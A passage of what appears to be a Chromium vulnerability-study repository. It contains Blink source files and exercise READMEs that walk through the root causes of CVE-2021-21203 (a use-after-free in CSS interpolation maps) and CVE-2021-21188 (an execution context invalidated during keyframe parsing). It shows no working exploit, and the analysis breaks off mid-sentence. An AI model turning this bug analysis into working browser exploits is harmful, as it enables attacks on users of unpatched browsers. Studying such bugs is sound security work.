return; DCHECK(!vertical_scrollbar_painter_delegate_); vertical_scrollbar_painter_delegate_.reset( [[BlinkScrollbarPainterDelegate alloc] initWithScrollbar:&scrollbar taskRunner:task_runner_]); [painter setDelegate:vertical_scrollbar_painter_delegate_]; [scrollbar_painter_controller_ setVerticalScrollerImp:painter]; } void MacScrollbarAnimatorImpl::WillRemoveVerticalScrollbar( Scrollbar& scrollbar) { ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar); DCHECK_EQ([scrollbar_painter_controller_ verticalScrollerImp], painter); if (!painter) DCHECK(!vertical_scrollbar_painter_delegate_); [painter setDelegate:nil]; [vertical_scrollbar_painter_delegate_ invalidate]; vertical_scrollbar_painter_delegate_.reset(); [scrollbar_painter_controller_ setVerticalScrollerImp:nil]; } void MacScrollbarAnimatorImpl::DidAddHorizontalScrollbar(Scrollbar& scrollbar) { ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar); if (!painter) return; DCHECK(!horizontal_scrollbar_painter_delegate_); horizontal_scrollbar_painter_delegate_.reset( [[BlinkScrollbarPainterDelegate alloc] initWithScrollbar:&scrollbar taskRunner:task_runner_]); [painter setDelegate:horizontal_scrollbar_painter_delegate_]; [scrollbar_painter_controller_ setHorizontalScrollerImp:painter]; } void MacScrollbarAnimatorImpl::WillRemoveHorizontalScrollbar( Scrollbar& scrollbar) { ScrollbarPainter painter = ScrollbarPainterForScrollbar(scrollbar); DCHECK_EQ([scrollbar_painter_controller_ horizontalScrollerImp], painter); if (!painter) DCHECK(!horizontal_scrollbar_painter_delegate_); [painter setDelegate:nil]; [horizontal_scrollbar_painter_delegate_ invalidate]; horizontal_scrollbar_painter_delegate_.reset(); [scrollbar_painter_controller_ setHorizontalScrollerImp:nil]; } bool MacScrollbarAnimatorImpl::SetScrollbarsVisibleForTesting(bool show) { if (show) [scrollbar_painter_controller_ flashScrollers]; else [scrollbar_painter_controller_ hideOverlayScrollers]; [vertical_scrollbar_painter_delegate_ updateVisibilityImmediately:show]; [horizontal_scrollbar_painter_delegate_ updateVisibilityImmediately:show]; return true; } void MacScrollbarAnimatorImpl::UpdateScrollerStyle() { if (!scrollable_area_->ScrollbarsCanBeActive()) return; blink::ScrollbarThemeMac* mac_theme = MacOverlayScrollbarTheme(scrollable_area_->GetPageScrollbarTheme()); if (!mac_theme) return; NSScrollerStyle new_style = [scrollbar_painter_controller_ scrollerStyle]; if (Scrollbar* vertical_scrollbar = scrollable_area_->VerticalScrollbar()) { vertical_scrollbar->SetNeedsPaintInvalidation(kAllParts); ScrollbarPainter old_vertical_painter = [scrollbar_painter_controller_ verticalScrollerImp]; ScrollbarPainter new_vertical_painter = [NSClassFromString(@"NSScrollerImp") scrollerImpWithStyle:new_style controlSize:NSRegularControlSize horizontal:NO replacingScrollerImp:old_vertical_painter]; [old_vertical_painter setDelegate:nil]; [new_vertical_painter setDelegate:vertical_scrollbar_painter_delegate_]; [scrollbar_painter_controller_ setVerticalScrollerImp:new_vertical_painter]; mac_theme->SetNewPainterForScrollbar(*vertical_scrollbar, new_vertical_painter); // The different scrollbar styles have different thicknesses, so we must // re-set the frameRect to the new thickness, and the re-layout below will // ensure the offset and length are properly updated. int thickness = mac_theme->ScrollbarThickness(vertical_scrollbar->ScaleFromDIP()); vertical_scrollbar->SetFrameRect(IntRect(0, 0, thickness, thickness)); } if (Scrollbar* horizontal_scrollbar = scrollable_area_->HorizontalScrollbar()) { horizontal_scrollbar->SetNeedsPaintInvalidation(kAllParts); ScrollbarPainter old_horizontal_painter = [scrollbar_painter_controller_ horizontalScrollerImp]; ScrollbarPainter new_horizontal_painter = [NSClassFromString(@"NSScrollerImp") scrollerImpWithStyle:new_style controlSize:NSRegularControlSize horizontal:YES replacingScrollerImp:old_horizontal_painter]; [old_horizontal_painter setDelegate:nil]; [new_horizontal_painter setDelegate:horizontal_scrollbar_painter_delegate_]; [scrollbar_painter_controller_ setHorizontalScrollerImp:new_horizontal_painter]; mac_theme->SetNewPainterForScrollbar(*horizontal_scrollbar, new_horizontal_painter); // The different scrollbar styles have different thicknesses, so we must // re-set the // frameRect to the new thickness, and the re-layout below will ensure the // offset // and length are properly updated. int thickness = mac_theme->ScrollbarThickness(horizontal_scrollbar->ScaleFromDIP()); horizontal_scrollbar->SetFrameRect(IntRect(0, 0, thickness, thickness)); } } void MacScrollbarAnimatorImpl::StartScrollbarPaintTimer() { // Post a task with 1 ms delay to give a chance to run other immediate tasks // that may cancel this. initial_scrollbar_paint_task_handle_ = PostDelayedCancellableTask( *task_runner_, FROM_HERE, WTF::Bind(&MacScrollbarAnimatorImpl::InitialScrollbarPaintTask, WrapWeakPersistent(this)), base::TimeDelta::FromMilliseconds(1)); } bool MacScrollbarAnimatorImpl::ScrollbarPaintTimerIsActive() const { return initial_scrollbar_paint_task_handle_.IsActive(); } void MacScrollbarAnimatorImpl::StopScrollbarPaintTimer() { initial_scrollbar_paint_task_handle_.Cancel(); } void MacScrollbarAnimatorImpl::InitialScrollbarPaintTask() { // To force the scrollbars to flash, we have to call hide first. Otherwise, // the ScrollbarPainterController // might think that the scrollbars are already showing and bail early. [scrollbar_painter_controller_ hideOverlayScrollers]; [scrollbar_painter_controller_ flashScrollers]; } void MacScrollbarAnimatorImpl::DidChangeUserVisibleScrollOffset( const ScrollOffset& delta) { content_area_scrolled_timer_scroll_delta_ = delta; if (send_content_area_scrolled_task_handle_.IsActive()) return; send_content_area_scrolled_task_handle_ = PostCancellableTask( *task_runner_, FROM_HERE, WTF::Bind(&MacScrollbarAnimatorImpl::SendContentAreaScrolledTask, WrapWeakPersistent(this))); } void MacScrollbarAnimatorImpl::SendContentAreaScrolledTask() { if (SupportsContentAreaScrolledInDirection()) { [scrollbar_painter_controller_ contentAreaScrolledInDirection: NSMakePoint(content_area_scrolled_timer_scroll_delta_.Width(), content_area_scrolled_timer_scroll_delta_.Height())]; content_area_scrolled_timer_scroll_delta_ = ScrollOffset(); } else [scrollbar_painter_controller_ contentAreaScrolled]; } MacScrollbarAnimator* MacScrollbarAnimator::Create( ScrollableArea* scrollable_area) { return MakeGarbageCollected( const_cast(scrollable_area)); } } // namespace blink ================================================ FILE: LEVEL_1/exercise_5/README.md ================================================ # Exercise 5 ## CVE-2021-21203 I sugget you don't search any report about it to prevents get too much info like patch. This time we do it by code audit ### Details > Don't erase InterpolationTypes used by other documents > > A registered custom property in one document caused the entry for the > same custom property (unregistered) used in another document to be > deleted, which caused a use-after-free. > > Only store the CSSDefaultInterpolationType for unregistered custom > properties and never store registered properties in the map. They may > have different types in different documents when registered. You can read [this](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/#core_animation) to know what about `animation` ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1192054
-------- ### Set environment Just like exercise_4, we need chromium. I recomend you do as [offical gudience](https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/linux/build_instructions.md). If you have installed `depot_tools` ago, you just need `fetch chromium`. When you finish the above ```sh git reset --hard 7e5707cc5f46b0155b9e42b121c8e2128c05f178 ``` ### Related code we can analysis the source file [online](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/css_interpolation_types_map.cc) or offline. This time you need to analysis entire file [`third_party/blink/renderer/core/animation/css_interpolation_types_map.cc`](https://source.chromium.org/chromium/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf:third_party/blink/renderer/core/animation/css_interpolation_types_map.cc), this bug can be easily found if you read `Details` carefully ;) ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer `Details` has clearly told us the cause of the vulnerability. **A registered custom property in one document caused the entry for the same custom property (unregistered) used in another document to be deleted, which caused a use-after-free** This mean if we register a `custom property` and then the `entry` of the same `custom property` in another document which `unregistered` will be deleted by `erase`. ```c++ const InterpolationTypes& CSSInterpolationTypesMap::Get( const PropertyHandle& property) const { using ApplicableTypesMap = HashMap>; // TODO(iclelland): Combine these two hashmaps into a single map on // std::pair DEFINE_STATIC_LOCAL(ApplicableTypesMap, all_applicable_types_map, ()); DEFINE_STATIC_LOCAL(ApplicableTypesMap, composited_applicable_types_map, ()); ApplicableTypesMap& applicable_types_map = allow_all_animations_ ? all_applicable_types_map : composited_applicable_types_map; auto entry = applicable_types_map.find(property); [1] find entry (HashMap) bool found_entry = entry != applicable_types_map.end(); // Custom property interpolation types may change over time so don't trust the // applicableTypesMap without checking the registry. if (registry_ && property.IsCSSCustomProperty()) { const auto* registration = GetRegistration(registry_, property); [2] registr if (registration) { if (found_entry) { applicable_types_map.erase(entry); [3] delete entry } return registration->GetInterpolationTypes(); } } if (found_entry) { return *entry->value; } [ ... ] ============================================================================ static const PropertyRegistration* GetRegistration( const PropertyRegistry* registry, const PropertyHandle& property) { DCHECK(property.IsCSSCustomProperty()); if (!registry) { return nullptr; } return registry->Registration(property.CustomPropertyName()); } ```
-------- ================================================ FILE: LEVEL_1/exercise_5/css_interpolation_types_map.cc ================================================ // Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/core/animation/css_interpolation_types_map.h" #include #include #include "third_party/blink/public/mojom/feature_policy/feature_policy_feature.mojom-blink.h" #include "third_party/blink/renderer/core/animation/css_angle_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_aspect_ratio_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_basic_shape_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_border_image_length_box_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_clip_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_color_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_custom_length_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_custom_list_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_default_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_filter_list_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_font_size_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_font_stretch_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_font_variation_settings_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_font_weight_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_image_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_image_list_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_image_slice_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_length_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_length_list_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_length_pair_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_number_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_offset_rotate_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_paint_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_path_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_percentage_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_position_axis_list_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_position_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_ray_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_resolution_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_rotate_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_scale_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_shadow_list_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_size_list_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_text_indent_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_time_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_transform_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_transform_origin_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_translate_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_var_cycle_interpolation_type.h" #include "third_party/blink/renderer/core/animation/css_visibility_interpolation_type.h" #include "third_party/blink/renderer/core/css/css_property_names.h" #include "third_party/blink/renderer/core/css/css_syntax_definition.h" #include "third_party/blink/renderer/core/css/properties/css_property.h" #include "third_party/blink/renderer/core/css/property_registry.h" #include "third_party/blink/renderer/core/feature_policy/layout_animations_policy.h" #include "third_party/blink/renderer/core/frame/local_frame.h" namespace blink { CSSInterpolationTypesMap::CSSInterpolationTypesMap( const PropertyRegistry* registry, const Document& document) : registry_(registry) { allow_all_animations_ = document.GetExecutionContext()->IsFeatureEnabled( blink::mojom::blink::DocumentPolicyFeature::kLayoutAnimations); } static const PropertyRegistration* GetRegistration( const PropertyRegistry* registry, const PropertyHandle& property) { DCHECK(property.IsCSSCustomProperty()); if (!registry) { return nullptr; } return registry->Registration(property.CustomPropertyName()); } const InterpolationTypes& CSSInterpolationTypesMap::Get( const PropertyHandle& property) const { using ApplicableTypesMap = HashMap>; // TODO(iclelland): Combine these two hashmaps into a single map on // std::pair DEFINE_STATIC_LOCAL(ApplicableTypesMap, all_applicable_types_map, ()); DEFINE_STATIC_LOCAL(ApplicableTypesMap, composited_applicable_types_map, ()); ApplicableTypesMap& applicable_types_map = allow_all_animations_ ? all_applicable_types_map : composited_applicable_types_map; auto entry = applicable_types_map.find(property); bool found_entry = entry != applicable_types_map.end(); // Custom property interpolation types may change over time so don't trust the // applicableTypesMap without checking the registry. if (registry_ && property.IsCSSCustomProperty()) { const auto* registration = GetRegistration(registry_, property); if (registration) { if (found_entry) { applicable_types_map.erase(entry); } return registration->GetInterpolationTypes(); } } if (found_entry) { return *entry->value; } std::unique_ptr applicable_types = std::make_unique(); const CSSProperty& css_property = property.IsCSSProperty() ? property.GetCSSProperty() : property.PresentationAttribute(); // We treat presentation attributes identically to their CSS property // equivalents when interpolating. PropertyHandle used_property = property.IsCSSProperty() ? property : PropertyHandle(css_property); // TODO(crbug.com/838263): Support site-defined list of acceptable properties // through feature policy declarations. bool property_maybe_blocked_by_feature_policy = LayoutAnimationsPolicy::AffectedCSSProperties().Contains(&css_property); if (allow_all_animations_ || !property_maybe_blocked_by_feature_policy) { switch (css_property.PropertyID()) { case CSSPropertyID::kBaselineShift: case CSSPropertyID::kBorderBottomWidth: case CSSPropertyID::kBorderLeftWidth: case CSSPropertyID::kBorderRightWidth: case CSSPropertyID::kBorderTopWidth: case CSSPropertyID::kBottom: case CSSPropertyID::kCx: case CSSPropertyID::kCy: case CSSPropertyID::kFlexBasis: case CSSPropertyID::kHeight: case CSSPropertyID::kLeft: case CSSPropertyID::kLetterSpacing: case CSSPropertyID::kMarginBottom: case CSSPropertyID::kMarginLeft: case CSSPropertyID::kMarginRight: case CSSPropertyID::kMarginTop: case CSSPropertyID::kMaxHeight: case CSSPropertyID::kMaxWidth: case CSSPropertyID::kMinHeight: case CSSPropertyID::kMinWidth: case CSSPropertyID::kOffsetDistance: case CSSPropertyID::kOutlineOffset: case CSSPropertyID::kOutlineWidth: case CSSPropertyID::kPaddingBottom: case CSSPropertyID::kPaddingLeft: case CSSPropertyID::kPaddingRight: case CSSPropertyID::kPaddingTop: case CSSPropertyID::kPerspective: case CSSPropertyID::kR: case CSSPropertyID::kRight: case CSSPropertyID::kRx: case CSSPropertyID::kRy: case CSSPropertyID::kShapeMargin: case CSSPropertyID::kStrokeDashoffset: case CSSPropertyID::kStrokeWidth: case CSSPropertyID::kTextDecorationThickness: case CSSPropertyID::kTextUnderlineOffset: case CSSPropertyID::kTop: case CSSPropertyID::kVerticalAlign: case CSSPropertyID::kWebkitBorderHorizontalSpacing: case CSSPropertyID::kWebkitBorderVerticalSpacing: case CSSPropertyID::kColumnGap: case CSSPropertyID::kRowGap: case CSSPropertyID::kColumnRuleWidth: case CSSPropertyID::kColumnWidth: case CSSPropertyID::kWebkitPerspectiveOriginX: case CSSPropertyID::kWebkitPerspectiveOriginY: case CSSPropertyID::kWebkitTransformOriginX: case CSSPropertyID::kWebkitTransformOriginY: case CSSPropertyID::kWebkitTransformOriginZ: case CSSPropertyID::kWidth: case CSSPropertyID::kWordSpacing: case CSSPropertyID::kX: case CSSPropertyID::kY: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kAspectRatio: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kFlexGrow: case CSSPropertyID::kFlexShrink: case CSSPropertyID::kFillOpacity: case CSSPropertyID::kFloodOpacity: case CSSPropertyID::kFontSizeAdjust: case CSSPropertyID::kOpacity: case CSSPropertyID::kOrder: case CSSPropertyID::kOrphans: case CSSPropertyID::kShapeImageThreshold: case CSSPropertyID::kStopOpacity: case CSSPropertyID::kStrokeMiterlimit: case CSSPropertyID::kStrokeOpacity: case CSSPropertyID::kColumnCount: case CSSPropertyID::kTextSizeAdjust: case CSSPropertyID::kWidows: case CSSPropertyID::kZIndex: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kLineHeight: case CSSPropertyID::kTabSize: applicable_types->push_back( std::make_unique(used_property)); applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kBackgroundColor: case CSSPropertyID::kBorderBottomColor: case CSSPropertyID::kBorderLeftColor: case CSSPropertyID::kBorderRightColor: case CSSPropertyID::kBorderTopColor: case CSSPropertyID::kCaretColor: case CSSPropertyID::kColor: case CSSPropertyID::kFloodColor: case CSSPropertyID::kLightingColor: case CSSPropertyID::kOutlineColor: case CSSPropertyID::kStopColor: case CSSPropertyID::kTextDecorationColor: case CSSPropertyID::kColumnRuleColor: case CSSPropertyID::kWebkitTextStrokeColor: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kFill: case CSSPropertyID::kStroke: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kOffsetPath: applicable_types->push_back( std::make_unique(used_property)); FALLTHROUGH; case CSSPropertyID::kD: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kBoxShadow: case CSSPropertyID::kTextShadow: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kBorderImageSource: case CSSPropertyID::kListStyleImage: case CSSPropertyID::kWebkitMaskBoxImageSource: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kBackgroundImage: case CSSPropertyID::kWebkitMaskImage: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kStrokeDasharray: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kFontWeight: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kFontStretch: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kFontVariationSettings: applicable_types->push_back( std::make_unique( used_property)); break; case CSSPropertyID::kVisibility: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kClip: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kOffsetRotate: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kBackgroundPositionX: case CSSPropertyID::kBackgroundPositionY: case CSSPropertyID::kWebkitMaskPositionX: case CSSPropertyID::kWebkitMaskPositionY: applicable_types->push_back( std::make_unique( used_property)); break; case CSSPropertyID::kObjectPosition: case CSSPropertyID::kOffsetAnchor: case CSSPropertyID::kOffsetPosition: case CSSPropertyID::kPerspectiveOrigin: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kBorderBottomLeftRadius: case CSSPropertyID::kBorderBottomRightRadius: case CSSPropertyID::kBorderTopLeftRadius: case CSSPropertyID::kBorderTopRightRadius: case CSSPropertyID::kContainIntrinsicSize: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kTranslate: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kTransformOrigin: applicable_types->push_back( std::make_unique( used_property)); break; case CSSPropertyID::kBackgroundSize: case CSSPropertyID::kWebkitMaskSize: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kBorderImageOutset: case CSSPropertyID::kBorderImageWidth: case CSSPropertyID::kWebkitMaskBoxImageOutset: case CSSPropertyID::kWebkitMaskBoxImageWidth: applicable_types->push_back( std::make_unique( used_property)); break; case CSSPropertyID::kScale: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kFontSize: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kTextIndent: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kBorderImageSlice: case CSSPropertyID::kWebkitMaskBoxImageSlice: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kClipPath: applicable_types->push_back( std::make_unique(used_property)); applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kShapeOutside: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kRotate: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kBackdropFilter: case CSSPropertyID::kFilter: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kTransform: applicable_types->push_back( std::make_unique(used_property)); break; case CSSPropertyID::kVariable: DCHECK_EQ(GetRegistration(registry_, property), nullptr); break; default: DCHECK(!css_property.IsInterpolable()); break; } } applicable_types->push_back( std::make_unique(used_property)); auto add_result = applicable_types_map.insert(property, std::move(applicable_types)); return *add_result.stored_value->value; } size_t CSSInterpolationTypesMap::Version() const { return registry_ ? registry_->Version() : 0; } static std::unique_ptr CreateInterpolationTypeForCSSSyntax(CSSSyntaxType syntax, PropertyHandle property, const PropertyRegistration& registration) { switch (syntax) { case CSSSyntaxType::kAngle: return std::make_unique(property, ®istration); case CSSSyntaxType::kColor: return std::make_unique(property, ®istration); case CSSSyntaxType::kLength: return std::make_unique(property, ®istration); case CSSSyntaxType::kLengthPercentage: return std::make_unique(property, ®istration); case CSSSyntaxType::kPercentage: return std::make_unique(property, ®istration); case CSSSyntaxType::kNumber: return std::make_unique(property, ®istration); case CSSSyntaxType::kResolution: return std::make_unique(property, ®istration); case CSSSyntaxType::kTime: return std::make_unique(property, ®istration); case CSSSyntaxType::kImage: // TODO(andruud): Implement smooth interpolation for gradients. return nullptr; case CSSSyntaxType::kInteger: return std::make_unique(property, ®istration, true); case CSSSyntaxType::kTransformFunction: case CSSSyntaxType::kTransformList: // TODO(alancutter): Support smooth interpolation of these types. return nullptr; case CSSSyntaxType::kCustomIdent: case CSSSyntaxType::kIdent: case CSSSyntaxType::kTokenStream: case CSSSyntaxType::kUrl: // Smooth interpolation not supported for these types. return nullptr; default: NOTREACHED(); return nullptr; } } InterpolationTypes CSSInterpolationTypesMap::CreateInterpolationTypesForCSSSyntax( const AtomicString& property_name, const CSSSyntaxDefinition& definition, const PropertyRegistration& registration) { PropertyHandle property(property_name); InterpolationTypes result; // All custom properties may encounter var() dependency cycles. result.push_back( std::make_unique(property, registration)); for (const CSSSyntaxComponent& component : definition.Components()) { std::unique_ptr interpolation_type = CreateInterpolationTypeForCSSSyntax(component.GetType(), property, registration); if (!interpolation_type) continue; if (component.IsRepeatable()) { interpolation_type = std::make_unique( property, ®istration, std::move(interpolation_type), component.GetType(), component.GetRepeat()); } result.push_back(std::move(interpolation_type)); } result.push_back(std::make_unique(property)); return result; } } // namespace blink ================================================ FILE: LEVEL_1/exercise_5/poc.html ================================================ ================================================ FILE: LEVEL_1/exercise_6/README.md ================================================ # Exercise 6 ## CVE-2021-21188 I sugget you don't search any report about it to prevents get too much info like patch. This time we do it by code audit ### Details > Test for persistent execution context during Animatable::animate. > > Prior to the patch, the validity of the execution context was only > checked on entry to the method; however, the execution context can > be invalidated during the course of parsing keyframes or options. > The parsing of options is upstream of Animatable::animate and caught by > the existing check, but invalidation during keyframe parsing could fall > through triggering a crash. You can read [this](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/#core_animation) to know what about `animation` ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1161739
-------- ### Set environment after you fetch chromium ```sh git reset --hard 710bae69e18a9b086795cf79d849bd7f6e9c97fa ``` ### Related code [`third_party/blink/renderer/core/animation/animatable.cc`](https://source.chromium.org/chromium/chromium/src/+/db032cf0a96b0e7e1007f181d8ce21e39617cee7:third_party/blink/renderer/core/animation/animatable.cc) and others ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer Let's start analysis the source code ``` c++ Animation* Animatable::animate( ScriptState* script_state, const ScriptValue& keyframes, const UnrestrictedDoubleOrKeyframeAnimationOptions& options, ExceptionState& exception_state) { if (!script_state->ContextIsValid()) return nullptr; Element* element = GetAnimationTarget(); if (!element->GetExecutionContext()) [1] call `GetExecutionContext` to check whether the validity of this ptr return nullptr; KeyframeEffect* effect = KeyframeEffect::Create(script_state, element, keyframes, [2] call create and element is the second parameter CoerceEffectOptions(options), exception_state); if (exception_state.HadException()) return nullptr; ReportFeaturePolicyViolationsIfNecessary(*element->GetExecutionContext(), *effect->Model()); if (!options.IsKeyframeAnimationOptions()) return element->GetDocument().Timeline().Play(effect); Animation* animation; const KeyframeAnimationOptions* options_dict = options.GetAsKeyframeAnimationOptions(); if (!options_dict->hasTimeline()) { animation = element->GetDocument().Timeline().Play(effect); } else if (AnimationTimeline* timeline = options_dict->timeline()) { animation = timeline->Play(effect); } else { animation = Animation::Create(element->GetExecutionContext(), effect, [3] If we delete `element` in [2], this trigger crash nullptr, exception_state); } [ ... ] ``` What happen in Create ```c++ KeyframeEffect* KeyframeEffect::Create( ScriptState* script_state, Element* element, const ScriptValue& keyframes, const UnrestrictedDoubleOrKeyframeEffectOptions& options, ExceptionState& exception_state) { Document* document = element ? &element->GetDocument() : nullptr; Timing timing = TimingInput::Convert(options, document, exception_state); if (exception_state.HadException()) return nullptr; EffectModel::CompositeOperation composite = EffectModel::kCompositeReplace; String pseudo = String(); // [ ... ] KeyframeEffectModelBase* model = EffectInput::Convert( [4] call Convert, and element is the first parameter element, keyframes, composite, script_state, exception_state); if (exception_state.HadException()) return nullptr; KeyframeEffect* effect = MakeGarbageCollected(element, model, timing); if (!pseudo.IsEmpty()) { effect->target_pseudo_ = pseudo; if (element) { element->GetDocument().UpdateStyleAndLayoutTreeForNode(element); effect->effect_target_ = element->GetPseudoElement( CSSSelector::ParsePseudoId(pseudo, element)); } } return effect; } ================================================================================ KeyframeEffectModelBase* EffectInput::Convert( Element* element, const ScriptValue& keyframes, EffectModel::CompositeOperation composite, ScriptState* script_state, ExceptionState& exception_state) { StringKeyframeVector parsed_keyframes = ParseKeyframesArgument(element, keyframes, script_state, exception_state); [5] call ParseKeyframesArgument and element is the first parameter if (exception_state.HadException()) return nullptr; [ ... ] ``` I wander what is Keyframe? Then I found [this](https://developer.mozilla.org/en-US/docs/Web/CSS/@keyframes) and [this](https://developer.mozilla.org/en-US/docs/Web/CSS/animation). Although I posted the animation link last time, I didn’t read it myself... But this time we must know what is animation and keyframe. > The animation property is specified as one or more single animations, separated by commas. I don't know what the word animation mean, so I don't know what it mean for chrome :/ Alright, you can know them detailed from the two link or you can search yourself. What can we do to delete this `element` during `ParseKeyframesArgument`? We can see its def and how animation be constructed. ```c++ StringKeyframeVector EffectInput::ParseKeyframesArgument( Element* element, const ScriptValue& keyframes, ScriptState* script_state, ExceptionState& exception_state) { // Per the spec, a null keyframes object maps to a valid but empty sequence. v8::Local keyframes_value = keyframes.V8Value(); if (keyframes_value->IsNullOrUndefined()) return {}; v8::Local keyframes_obj = keyframes_value.As(); // 3. Let method be the result of GetMethod(object, @@iterator). v8::Isolate* isolate = script_state->GetIsolate(); auto script_iterator = ScriptIterator::FromIterable(isolate, keyframes_obj, exception_state); if (exception_state.HadException()) return {}; // TODO(crbug.com/816934): Get spec to specify what parsing context to use. Document& document = element ? element->GetDocument() : *LocalDOMWindow::From(script_state)->document(); StringKeyframeVector parsed_keyframes; if (script_iterator.IsNull()) { parsed_keyframes = ConvertObjectForm(element, document, keyframes_obj, script_state, exception_state); } else { parsed_keyframes = ConvertArrayForm(element, document, std::move(script_iterator), [6] if keyframes is sorted by array, do convert script_state, exception_state); } [ ... ] ``` Parse the parameter of animatable (parse keyframes), If we transform an Array composed of keyframs, need call ConvertArrayForm for convert step. ```c++ StringKeyframeVector ConvertArrayForm(Element* element, Document& document, ScriptIterator iterator, ScriptState* script_state, ExceptionState& exception_state) { v8::Isolate* isolate = script_state->GetIsolate(); // This loop captures step 5 of the procedure to process a keyframes argument, // in the case where the argument is iterable. HeapVector> processed_base_keyframes; Vector>> processed_properties; ExecutionContext* execution_context = ExecutionContext::From(script_state); while (iterator.Next(execution_context, exception_state)) { if (exception_state.HadException()) return {}; // The value should already be non-empty, as guaranteed by the call to Next // and the exception_state check above. v8::Local keyframe = iterator.GetValue().ToLocalChecked(); BaseKeyframe* base_keyframe = NativeValueTraits::NativeValue( isolate, keyframe, exception_state); Vector> property_value_pairs; if (!keyframe->IsNullOrUndefined()) { AddPropertyValuePairsForKeyframe( [7] call AddPropertyValuePairsForKeyframe isolate, v8::Local::Cast(keyframe), element, document, property_value_pairs, exception_state); if (exception_state.HadException()) return {}; } [ ... ] =========================================================================== void AddPropertyValuePairsForKeyframe( v8::Isolate* isolate, v8::Local keyframe_obj, Element* element, const Document& document, Vector>& property_value_pairs, ExceptionState& exception_state) { Vector keyframe_properties = GetOwnPropertyNames(isolate, keyframe_obj, exception_state); // By spec, we are only allowed to access a given (property, value) pair // once. This is observable by the web client, so we take care to adhere // to that. v8::Local v8_value; if (!keyframe_obj ->Get(isolate->GetCurrentContext(), V8String(isolate, property)) [8] call get .ToLocal(&v8_value)) { exception_state.RethrowV8Exception(try_catch.Exception()); return; } } ``` We can delete this `element` in `getter`, these `element` and `document` is the target of `html`, if you can get if you have learned how js control DOM of html. We use 